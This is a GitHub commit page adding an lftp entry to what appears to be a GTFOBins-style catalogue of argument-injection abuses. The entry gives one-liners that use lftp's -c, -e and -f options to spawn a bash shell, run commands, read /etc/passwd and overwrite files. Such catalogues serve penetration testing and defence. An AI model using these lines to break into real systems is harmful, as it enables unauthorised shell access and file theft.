Skip to content

Commit

Permalink
Merge pull request #9 from hlein/lftp
Browse files Browse the repository at this point in the history
Add lftp
  • Loading branch information
MegaManSec authored Jul 24, 2024
2 parents 1de1902 + a4a27f9 commit 52dba8e
Showing 1 changed file with 28 additions and 0 deletions.
28 changes: 28 additions & 0 deletions _gtfoargs/lftp.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
---
description: LFTP is a file transfer client (FTP and other protocols).
functions:
shell:
- description: Stack commands that include launching a shell.
code: |
lftp -c '!bash'
command:
- description: Stack commands that include running a command.
code: |
lftp -c '!whoami'
shell:
- description: Stack commands that include launching a shell.
code: |
lftp -e '!bash'
command:
- description: Stack commands that include running a command.
code: |
lftp -e '!whoami'
file-read:
- description: Read an arbitrary file by specifying it as a script file.
code: |
lftp -f /etc/passwd
file-write:
- description: Overwrite a file, or create an empty file.
code: |
lftp -c 'mirror --script=lftp.script'
---

0 comments on commit 52dba8e

Please sign in to comment.